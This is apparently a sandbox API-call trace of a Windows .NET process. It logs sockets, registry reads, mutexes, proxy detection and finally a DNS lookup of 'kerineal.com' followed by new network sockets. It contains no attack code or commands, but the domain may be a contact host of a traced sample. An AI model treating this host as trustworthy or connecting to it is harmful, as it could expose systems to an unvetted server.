[0046.286] WSASocketW (af=2, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x0) returned 0x478
[0046.321] GetLastError () returned 0x0
[0046.322] setsockopt (s=0x478, level=65535, optname=128, optval="\x01", optlen=4) returned -1
[0046.322] GetLastError () returned 0x273a
[0046.322] closesocket (s=0x478) returned 0
[0046.322] GetLastError () returned 0x0
[0046.322] WSASocketW (af=23, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x0) returned 0x478
[0046.332] GetLastError () returned 0x0
[0046.332] setsockopt (s=0x478, level=65535, optname=128, optval="\x01", optlen=4) returned -1
[0046.332] GetLastError () returned 0x273a
[0046.332] closesocket (s=0x478) returned 0
[0046.332] GetLastError () returned 0x0
[0046.336] GetCurrentProcess () returned 0xffffffff
[0046.336] GetLastError () returned 0x3f0
[0046.336] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x50fe69c | out: TokenHandle=0x50fe69c*=0x478) returned 1
[0046.336] GetLastError () returned 0x3f0
[0046.340] GetCurrentProcess () returned 0xffffffff
[0046.340] GetLastError () returned 0x3f0
[0046.340] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x50fe6ac | out: TokenHandle=0x50fe6ac*=0x47c) returned 1
[0046.340] GetLastError () returned 0x3f0
[0046.357] GetCurrentProcessId () returned 0xad4
[0046.359] GetComputerNameW (in: lpBuffer=0x527f950, nSize=0x20c9498 | out: lpBuffer="ZJEWV7F", nSize=0x20c9498) returned 1
[0046.360] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM\\CurrentControlSet\\Services\\.NET CLR Networking\\Performance", ulOptions=0x0, samDesired=0x20019, phkResult=0x50fe900 | out: phkResult=0x50fe900*=0x480) returned 0x0
[0046.360] RegQueryValueExW (in: hKey=0x480, lpValueName="Library", lpReserved=0x0, lpType=0x50fe948, lpData=0x0, lpcbData=0x50fe944*=0x0 | out: lpType=0x50fe948*=0x1, lpData=0x0, lpcbData=0x50fe944*=0x1c) returned 0x0
[0046.360] RegQueryValueExW (in: hKey=0x480, lpValueName="Library", lpReserved=0x0, lpType=0x50fe948, lpData=0x527f950, lpcbData=0x50fe944*=0x1c | out: lpType=0x50fe948*=0x1, lpData="netfxperf.dll", lpcbData=0x50fe944*=0x1c) returned 0x0
[0046.360] RegQueryValueExW (in: hKey=0x480, lpValueName="IsMultiInstance", lpReserved=0x0, lpType=0x50fe948, lpData=0x0, lpcbData=0x50fe944*=0x0 | out: lpType=0x50fe948*=0x4, lpData=0x0, lpcbData=0x50fe944*=0x4) returned 0x0
[0046.362] RegQueryValueExW (in: hKey=0x480, lpValueName="IsMultiInstance", lpReserved=0x0, lpType=0x50fe948, lpData=0x50fe934, lpcbData=0x50fe944*=0x4 | out: lpType=0x50fe948*=0x4, lpData=0x50fe934*=0x1, lpcbData=0x50fe944*=0x4) returned 0x0
[0046.362] RegQueryValueExW (in: hKey=0x480, lpValueName="First Counter", lpReserved=0x0, lpType=0x50fe948, lpData=0x0, lpcbData=0x50fe944*=0x0 | out: lpType=0x50fe948*=0x4, lpData=0x0, lpcbData=0x50fe944*=0x4) returned 0x0
[0046.362] RegQueryValueExW (in: hKey=0x480, lpValueName="First Counter", lpReserved=0x0, lpType=0x50fe948, lpData=0x50fe934, lpcbData=0x50fe944*=0x4 | out: lpType=0x50fe948*=0x4, lpData=0x50fe934*=0x1040, lpcbData=0x50fe944*=0x4) returned 0x0
[0046.362] RegCloseKey (hKey=0x480) returned 0x0
[0046.364] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM\\CurrentControlSet\\Services\\.net clr networking\\Performance", ulOptions=0x0, samDesired=0x20019, phkResult=0x50fe8fc | out: phkResult=0x50fe8fc*=0x480) returned 0x0
[0046.364] RegQueryValueExW (in: hKey=0x480, lpValueName="CategoryOptions", lpReserved=0x0, lpType=0x50fe944, lpData=0x0, lpcbData=0x50fe940*=0x0 | out: lpType=0x50fe944*=0x4, lpData=0x0, lpcbData=0x50fe940*=0x4) returned 0x0
[0046.364] RegQueryValueExW (in: hKey=0x480, lpValueName="CategoryOptions", lpReserved=0x0, lpType=0x50fe944, lpData=0x50fe930, lpcbData=0x50fe940*=0x4 | out: lpType=0x50fe944*=0x4, lpData=0x50fe930*=0x3, lpcbData=0x50fe940*=0x4) returned 0x0
[0046.364] RegQueryValueExW (in: hKey=0x480, lpValueName="FileMappingSize", lpReserved=0x0, lpType=0x50fe944, lpData=0x0, lpcbData=0x50fe940*=0x0 | out: lpType=0x50fe944*=0x4, lpData=0x0, lpcbData=0x50fe940*=0x4) returned 0x0
[0046.364] RegQueryValueExW (in: hKey=0x480, lpValueName="FileMappingSize", lpReserved=0x0, lpType=0x50fe944, lpData=0x50fe930, lpcbData=0x50fe940*=0x4 | out: lpType=0x50fe944*=0x4, lpData=0x50fe930*=0x20000, lpcbData=0x50fe940*=0x4) returned 0x0
[0046.364] RegQueryValueExW (in: hKey=0x480, lpValueName="Counter Names", lpReserved=0x0, lpType=0x50fe944, lpData=0x0, lpcbData=0x50fe940*=0x0 | out: lpType=0x50fe944*=0x3, lpData=0x0, lpcbData=0x50fe940*=0xaa) returned 0x0
[0046.364] RegQueryValueExW (in: hKey=0x480, lpValueName="Counter Names", lpReserved=0x0, lpType=0x50fe944, lpData=0x20cbbc8, lpcbData=0x50fe940*=0xaa | out: lpType=0x50fe944*=0x3, lpData=0x20cbbc8*, lpcbData=0x50fe940*=0xaa) returned 0x0
[0046.369] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1
[0046.369] GetLastError () returned 0x0
[0046.373] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x31e1e0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x20000, lpName="Global\\netfxcustomperfcounters.1.0.net clr networking") returned 0x484
[0046.373] GetLastError () returned 0x0
[0046.375] MapViewOfFile (hFileMappingObject=0x484, dwDesiredAccess=0x2, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x5110000
[0046.378] VirtualQuery (in: lpAddress=0x5110000, lpBuffer=0x50fe914, dwLength=0x1c | out: lpBuffer=0x50fe914*(BaseAddress=0x5110000, AllocationBase=0x5110000, AllocationProtect=0x4, RegionSize=0x20000, State=0x1000, Protect=0x4, Type=0x40000)) returned 0x1c
[0046.378] GetLastError () returned 0x0
[0046.378] LocalFree (hMem=0x5275f90) returned 0x0
[0046.378] RegCloseKey (hKey=0x480) returned 0x0
[0046.380] GetVersionExW (in: lpVersionInformation=0x527f950*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x527f950*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1
[0046.380] GetLastError () returned 0x0
[0046.381] GetVersionExW (in: lpVersionInformation=0x527f950*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x527f950*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1
[0046.381] GetLastError () returned 0x0
[0046.382] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x20cc630, cbSid=0x50fe8f4 | out: pSid=0x20cc630*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x50fe8f4) returned 1
[0046.383] GetLastError () returned 0x0
[0046.385] CreateMutexW (lpMutexAttributes=0x20cc768, bInitialOwner=0, lpName="Global\\.net clr networking") returned 0x480
[0046.385] GetLastError () returned 0x0
[0046.387] WaitForSingleObject (hHandle=0x480, dwMilliseconds=0x1f4) returned 0x0
[0046.387] GetLastError () returned 0x0
[0046.387] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x20cc93c, cbSid=0x50fe8b4 | out: pSid=0x20cc93c*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x50fe8b4) returned 1
[0046.387] GetLastError () returned 0x0
[0046.387] CreateMutexW (lpMutexAttributes=0x20cca4c, bInitialOwner=0, lpName="Global\\.net clr networking") returned 0x0
[0046.387] GetLastError () returned 0x5
[0046.389] OpenMutexW (dwDesiredAccess=0x100001, bInheritHandle=0, lpName="Global\\.net clr networking") returned 0x488
[0046.389] GetLastError () returned 0x5
[0046.389] WaitForSingleObject (hHandle=0x488, dwMilliseconds=0x1f4) returned 0x0
[0046.389] GetLastError () returned 0x5
[0046.389] ReleaseMutex (hMutex=0x488) returned 1
[0046.390] GetLastError () returned 0x5
[0046.390] CloseHandle (hObject=0x488) returned 1
[0046.390] GetLastError () returned 0x5
[0046.390] GetCurrentProcessId () returned 0xad4
[0046.390] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xad4) returned 0x488
[0046.390] GetLastError () returned 0x5
[0046.393] GetProcessTimes (in: hProcess=0x488, lpCreationTime=0x50fe8b8, lpExitTime=0x50fe8b0, lpKernelTime=0x50fe8b0, lpUserTime=0x50fe8b0 | out: lpCreationTime=0x50fe8b8, lpExitTime=0x50fe8b0, lpKernelTime=0x50fe8b0, lpUserTime=0x50fe8b0) returned 1
[0046.393] GetLastError () returned 0x5
[0046.394] CloseHandle (hObject=0x488) returned 1
[0046.394] GetLastError () returned 0x5
[0046.395] ReleaseMutex (hMutex=0x480) returned 1
[0046.395] GetLastError () returned 0x5
[0046.395] CloseHandle (hObject=0x480) returned 1
[0046.395] GetLastError () returned 0x5
[0046.395] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x20cd330, cbSid=0x50fe8f4 | out: pSid=0x20cd330*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x50fe8f4) returned 1
[0046.395] GetLastError () returned 0x5
[0046.395] CreateMutexW (lpMutexAttributes=0x20cd440, bInitialOwner=0, lpName="Global\\.net clr networking") returned 0x480
[0046.395] GetLastError () returned 0x0
[0046.395] WaitForSingleObject (hHandle=0x480, dwMilliseconds=0x1f4) returned 0x0
[0046.395] GetLastError () returned 0x0
[0046.396] ReleaseMutex (hMutex=0x480) returned 1
[0046.396] GetLastError () returned 0x0
[0046.396] CloseHandle (hObject=0x480) returned 1
[0046.396] GetLastError () returned 0x0
[0046.396] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x20cdbb4, cbSid=0x50fe8f4 | out: pSid=0x20cdbb4*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x50fe8f4) returned 1
[0046.396] GetLastError () returned 0x0
[0046.396] CreateMutexW (lpMutexAttributes=0x20cdcc4, bInitialOwner=0, lpName="Global\\.net clr networking") returned 0x480
[0046.396] GetLastError () returned 0x0
[0046.396] WaitForSingleObject (hHandle=0x480, dwMilliseconds=0x1f4) returned 0x0
[0046.396] GetLastError () returned 0x0
[0046.397] ReleaseMutex (hMutex=0x480) returned 1
[0046.397] GetLastError () returned 0x0
[0046.397] CloseHandle (hObject=0x480) returned 1
[0046.397] GetLastError () returned 0x0
[0046.397] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x20ce43c, cbSid=0x50fe8f4 | out: pSid=0x20ce43c*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x50fe8f4) returned 1
[0046.397] GetLastError () returned 0x0
[0046.397] CreateMutexW (lpMutexAttributes=0x20ce54c, bInitialOwner=0, lpName="Global\\.net clr networking") returned 0x480
[0046.397] GetLastError () returned 0x0
[0046.397] WaitForSingleObject (hHandle=0x480, dwMilliseconds=0x1f4) returned 0x0
[0046.397] GetLastError () returned 0x0
[0046.398] ReleaseMutex (hMutex=0x480) returned 1
[0046.398] GetLastError () returned 0x0
[0046.398] CloseHandle (hObject=0x480) returned 1
[0046.398] GetLastError () returned 0x0
[0046.398] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x20cecbc, cbSid=0x50fe8f4 | out: pSid=0x20cecbc*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x50fe8f4) returned 1
[0046.398] GetLastError () returned 0x0
[0046.398] CreateMutexW (lpMutexAttributes=0x20cedcc, bInitialOwner=0, lpName="Global\\.net clr networking") returned 0x480
[0046.398] GetLastError () returned 0x0
[0046.398] WaitForSingleObject (hHandle=0x480, dwMilliseconds=0x1f4) returned 0x0
[0046.398] GetLastError () returned 0x0
[0046.399] ReleaseMutex (hMutex=0x480) returned 1
[0046.399] GetLastError () returned 0x0
[0046.399] CloseHandle (hObject=0x480) returned 1
[0046.399] GetLastError () returned 0x0
[0046.399] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x20cf538, cbSid=0x50fe8ec | out: pSid=0x20cf538*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x50fe8ec) returned 1
[0046.399] GetLastError () returned 0x0
[0046.399] CreateMutexW (lpMutexAttributes=0x20cf648, bInitialOwner=0, lpName="Global\\.net clr networking") returned 0x480
[0046.399] GetLastError () returned 0x0
[0046.399] WaitForSingleObject (hHandle=0x480, dwMilliseconds=0x1f4) returned 0x0
[0046.400] GetLastError () returned 0x0
[0046.400] ReleaseMutex (hMutex=0x480) returned 1
[0046.400] GetLastError () returned 0x0
[0046.400] CloseHandle (hObject=0x480) returned 1
[0046.400] GetLastError () returned 0x0
[0046.400] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x20cfdc0, cbSid=0x50fe8ec | out: pSid=0x20cfdc0*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x50fe8ec) returned 1
[0046.400] GetLastError () returned 0x0
[0046.400] CreateMutexW (lpMutexAttributes=0x20cfed0, bInitialOwner=0, lpName="Global\\.net clr networking") returned 0x480
[0046.400] GetLastError () returned 0x0
[0046.400] WaitForSingleObject (hHandle=0x480, dwMilliseconds=0x1f4) returned 0x0
[0046.400] GetLastError () returned 0x0
[0046.401] ReleaseMutex (hMutex=0x480) returned 1
[0046.401] GetLastError () returned 0x0
[0046.401] CloseHandle (hObject=0x480) returned 1
[0046.401] GetLastError () returned 0x0
[0046.401] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x20d0624, cbSid=0x50fe8ec | out: pSid=0x20d0624*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x50fe8ec) returned 1
[0046.401] GetLastError () returned 0x0
[0046.401] CreateMutexW (lpMutexAttributes=0x20d0734, bInitialOwner=0, lpName="Global\\.net clr networking") returned 0x480
[0046.401] GetLastError () returned 0x0
[0046.401] WaitForSingleObject (hHandle=0x480, dwMilliseconds=0x1f4) returned 0x0
[0046.401] GetLastError () returned 0x0
[0046.402] ReleaseMutex (hMutex=0x480) returned 1
[0046.402] GetLastError () returned 0x0
[0046.402] CloseHandle (hObject=0x480) returned 1
[0046.402] GetLastError () returned 0x0
[0046.402] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x20d0e98, cbSid=0x50fe8ec | out: pSid=0x20d0e98*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x50fe8ec) returned 1
[0046.402] GetLastError () returned 0x0
[0046.402] CreateMutexW (lpMutexAttributes=0x20d0fa8, bInitialOwner=0, lpName="Global\\.net clr networking") returned 0x480
[0046.402] GetLastError () returned 0x0
[0046.402] WaitForSingleObject (hHandle=0x480, dwMilliseconds=0x1f4) returned 0x0
[0046.402] GetLastError () returned 0x0
[0046.403] ReleaseMutex (hMutex=0x480) returned 1
[0046.403] GetLastError () returned 0x0
[0046.403] CloseHandle (hObject=0x480) returned 1
[0046.403] GetLastError () returned 0x0
[0046.403] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x20d1704, cbSid=0x50fe8ec | out: pSid=0x20d1704*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x50fe8ec) returned 1
[0046.403] GetLastError () returned 0x0
[0046.403] CreateMutexW (lpMutexAttributes=0x20d1814, bInitialOwner=0, lpName="Global\\.net clr networking") returned 0x480
[0046.403] GetLastError () returned 0x0
[0046.403] WaitForSingleObject (hHandle=0x480, dwMilliseconds=0x1f4) returned 0x0
[0046.404] GetLastError () returned 0x0
[0046.404] ReleaseMutex (hMutex=0x480) returned 1
[0046.404] GetLastError () returned 0x0
[0046.404] CloseHandle (hObject=0x480) returned 1
[0046.404] GetLastError () returned 0x0
[0046.414] WSASocketW (af=2, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x480
[0046.414] GetLastError () returned 0x0
[0046.415] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x488
[0046.415] GetLastError () returned 0x0
[0046.416] ioctlsocket (in: s=0x480, cmd=-2147195266, argp=0x50feb38 | out: argp=0x50feb38) returned 0
[0046.416] GetLastError () returned 0x0
[0046.417] WSASocketW (af=23, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x48c
[0046.417] GetLastError () returned 0x0
[0046.417] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x490
[0046.417] GetLastError () returned 0x0
[0046.417] ioctlsocket (in: s=0x48c, cmd=-2147195266, argp=0x50feb38 | out: argp=0x50feb38) returned 0
[0046.417] GetLastError () returned 0x0
[0046.419] WSAIoctl (in: s=0x480, dwIoControlCode=0x28000017, lpvInBuffer=0x0, cbInBuffer=0x0, lpvOutBuffer=0x0, cbOutBuffer=0x0, lpcbBytesReturned=0x50feb1c, lpOverlapped=0x0, lpCompletionRoutine=0x0 | out: lpvOutBuffer=0x0, lpcbBytesReturned=0x50feb1c, lpOverlapped=0x0) returned -1
[0046.419] GetLastError () returned 0x2733
[0046.420] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x2733, dwLanguageId=0x0, lpBuffer=0x527f950, nSize=0x101, Arguments=0x0 | out: lpBuffer="A non-blocking socket operation could not be completed immediately.\r\n") returned 0x45
[0046.422] GetLastError () returned 0x2733
[0046.424] WSAEventSelect (s=0x480, hEventObject=0x488, lNetworkEvents=512) returned 0
[0046.424] GetLastError () returned 0x0
[0046.424] WSAIoctl (in: s=0x48c, dwIoControlCode=0x28000017, lpvInBuffer=0x0, cbInBuffer=0x0, lpvOutBuffer=0x0, cbOutBuffer=0x0, lpcbBytesReturned=0x50feb1c, lpOverlapped=0x0, lpCompletionRoutine=0x0 | out: lpvOutBuffer=0x0, lpcbBytesReturned=0x50feb1c, lpOverlapped=0x0) returned -1
[0046.424] GetLastError () returned 0x2733
[0046.424] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x2733, dwLanguageId=0x0, lpBuffer=0x527f950, nSize=0x101, Arguments=0x0 | out: lpBuffer="A non-blocking socket operation could not be completed immediately.\r\n") returned 0x45
[0046.425] GetLastError () returned 0x2733
[0046.426] WSAEventSelect (s=0x48c, hEventObject=0x490, lNetworkEvents=512) returned 0
[0046.426] GetLastError () returned 0x0
[0046.426] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x494
[0046.426] GetLastError () returned 0x0
[0046.427] RasConnectionNotificationW (param_1=0xffffffff, param_2=0x494, param_3=0x3) returned 0x0
[0046.433] RegOpenCurrentUser (in: samDesired=0x20019, phkResult=0x50feb00 | out: phkResult=0x50feb00*=0x4ac) returned 0x0
[0046.433] GetLastError () returned 0x0
[0046.435] RegOpenKeyExW (in: hKey=0x4ac, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Connections", ulOptions=0x0, samDesired=0x20019, phkResult=0x50feabc | out: phkResult=0x50feabc*=0x4b0) returned 0x0
[0046.435] GetLastError () returned 0x0
[0046.435] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x4b4
[0046.435] GetLastError () returned 0x0
[0046.436] RegNotifyChangeKeyValue (hKey=0x4b0, bWatchSubtree=1, dwNotifyFilter=0x4, hEvent=0x4b4, fAsynchronous=1) returned 0x0
[0046.436] GetLastError () returned 0x0
[0046.438] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Connections", ulOptions=0x0, samDesired=0x20019, phkResult=0x50feabc | out: phkResult=0x50feabc*=0x4b8) returned 0x0
[0046.438] GetLastError () returned 0x0
[0046.438] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x4bc
[0046.438] GetLastError () returned 0x0
[0046.438] RegNotifyChangeKeyValue (hKey=0x4b8, bWatchSubtree=1, dwNotifyFilter=0x4, hEvent=0x4bc, fAsynchronous=1) returned 0x0
[0046.438] GetLastError () returned 0x0
[0046.438] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Policies\\Microsoft\\Windows\\CurrentVersion\\Internet Settings", ulOptions=0x0, samDesired=0x20019, phkResult=0x50feabc | out: phkResult=0x50feabc*=0x4c0) returned 0x0
[0046.438] GetLastError () returned 0x0
[0046.438] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x4c4
[0046.438] GetLastError () returned 0x0
[0046.438] RegNotifyChangeKeyValue (hKey=0x4c0, bWatchSubtree=1, dwNotifyFilter=0x4, hEvent=0x4c4, fAsynchronous=1) returned 0x0
[0046.438] GetLastError () returned 0x0
[0046.438] GetCurrentProcess () returned 0xffffffff
[0046.438] GetLastError () returned 0x3f0
[0046.438] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x50feaa4 | out: TokenHandle=0x50feaa4*=0x4c8) returned 1
[0046.438] GetLastError () returned 0x3f0
[0046.442] GetCurrentProcess () returned 0xffffffff
[0046.442] GetLastError () returned 0x3f0
[0046.442] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x50fe6c0 | out: TokenHandle=0x50fe6c0*=0x4cc) returned 1
[0046.442] GetLastError () returned 0x3f0
[0046.444] GetCurrentProcess () returned 0xffffffff
[0046.444] GetLastError () returned 0x3f0
[0046.444] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x50fe6d0 | out: TokenHandle=0x50fe6d0*=0x4d0) returned 1
[0046.444] GetLastError () returned 0x3f0
[0046.458] WinHttpGetIEProxyConfigForCurrentUser (in: pProxyConfig=0x31e1b0 | out: pProxyConfig=0x31e1b0) returned 1
[0046.554] GetLastError () returned 0x0
[0046.560] SetEvent (hEvent=0x41c) returned 1
[0046.560] GetLastError () returned 0x0
[0046.577] WinHttpDetectAutoProxyConfigUrl (in: dwAutoDetectFlags=0x1, ppwstrAutoConfigUrl=0x50fea58 | out: ppwstrAutoConfigUrl=0x50fea58*=0x0) returned 0
[0049.907] GetLastError () returned 0x2f94
[0049.907] WinHttpDetectAutoProxyConfigUrl (in: dwAutoDetectFlags=0x2, ppwstrAutoConfigUrl=0x50fea58 | out: ppwstrAutoConfigUrl=0x50fea58*=0x0) returned 0
[0052.554] GetLastError () returned 0x2f94
[0052.561] GetCurrentProcess () returned 0xffffffff
[0052.561] GetLastError () returned 0x3f0
[0052.561] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x50fe6f8 | out: TokenHandle=0x50fe6f8*=0x534) returned 1
[0052.561] GetLastError () returned 0x3f0
[0052.562] GetCurrentProcess () returned 0xffffffff
[0052.562] GetLastError () returned 0x3f0
[0052.562] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x50fe708 | out: TokenHandle=0x50fe708*=0x508) returned 1
[0052.562] GetLastError () returned 0x3f0
[0052.563] SetEvent (hEvent=0x41c) returned 1
[0052.563] GetLastError () returned 0x3f0
[0052.574] GetNetworkParams (in: pFixedInfo=0x0, pOutBufLen=0x50fea58 | out: pFixedInfo=0x0, pOutBufLen=0x50fea58) returned 0x6f
[0052.595] LocalAlloc (uFlags=0x0, uBytes=0x248) returned 0x528e248
[0052.595] GetLastError () returned 0x0
[0052.595] GetNetworkParams (in: pFixedInfo=0x528e248, pOutBufLen=0x50fea58 | out: pFixedInfo=0x528e248, pOutBufLen=0x50fea58) returned 0x0
[0052.619] inet_addr (cp="192.168.0.1") returned 0x100a8c0
[0052.619] GetLastError () returned 0x0
[0052.628] LocalFree (hMem=0x528e248) returned 0x0
[0052.628] GetLastError () returned 0x0
[0052.630] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x540
[0052.630] GetLastError () returned 0x0
[0052.631] WSASocketW (af=23, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x53c
[0052.631] GetLastError () returned 0x0
[0052.635] getaddrinfo (in: pNodeName="kerineal.com", pServiceName=0x0, pHints=0x50fe934*(ai_flags=2, ai_family=0, ai_socktype=0, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x50fe6c8 | out: ppResult=0x50fe6c8*=0x5295e98*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="kerineal.com", ai_addr=0x528f538*(sa_family=2, sin_port=0x0, sin_addr="184.168.152.148"), ai_next=0x0)) returned 0
[0052.665] GetLastError () returned 0x0
[0052.666] FreeAddrInfoW (pAddrInfo=0x5295e98*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="敫楲敮污挮浯ࠀՀ瀞僽Æ蠀ῨԩԨ䰐+\x01", ai_addr=0x528f538*(sa_family=2, sin_port=0x0, sin_addr="184.168.152.148"), ai_next=0x0))
[0052.666] GetLastError () returned 0x0
[0052.667] WSASocketW (af=2, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x544
[0052.667] GetLastError () returned 0x0
[0052.667] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x550
[0052.667] GetLastError () returned 0x0
[0052.668] ioctlsocket (in: s=0x544, cmd=-2147195266, argp=0x50fe918 | out: argp=0x50fe918) returned 0
[0052.668] GetLastError () returned 0x0
[0052.668] WSASocketW (af=23, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x554
[0052.668] GetLastError () returned 0x0
[0052.668] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x558
[0052.668] GetLastError () returned 0x0
[0052.668] ioctlsocket (in: s=0x554, cmd=-2147195266, argp=0x50fe918 | out: argp=0x50fe918) returned 0
[0052.668] GetLastError () returned 0x0
[0052.668] WSAIoctl (in: s=0x544, dwIoControlCode=0x28000017, lpvInBuffer=0x0, cbInBuffer=0x0, lpvOutBuffer=0x0, cbOutBuffer=0x0, lpcbBytesReturned=0x50fe8fc, lpOverlapped=0x0, lpCompletionRoutine=0x0 | out: lpvOutBuffer=0x0, lpcbBytesReturned=0x50fe8fc, lpOverlapped=0x0) returned -1
[0052.668] GetLastError () returned 0x2733
[0052.669] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x2733, dwLanguageId=0x0, lpBuffer=0x527f950, nSize=0x101, Arguments=0x0 | out: lpBuffer="A non-blocking socket operation could not be completed immediately.\r\n") returned 0x45
[0052.669] GetLastError () returned 0x2733
[0052.669] WSAEventSelect (s=0x544, hEventObject=0x550, lNetworkEvents=512) returned 0
[0052.669] GetLastError () returned 0x0
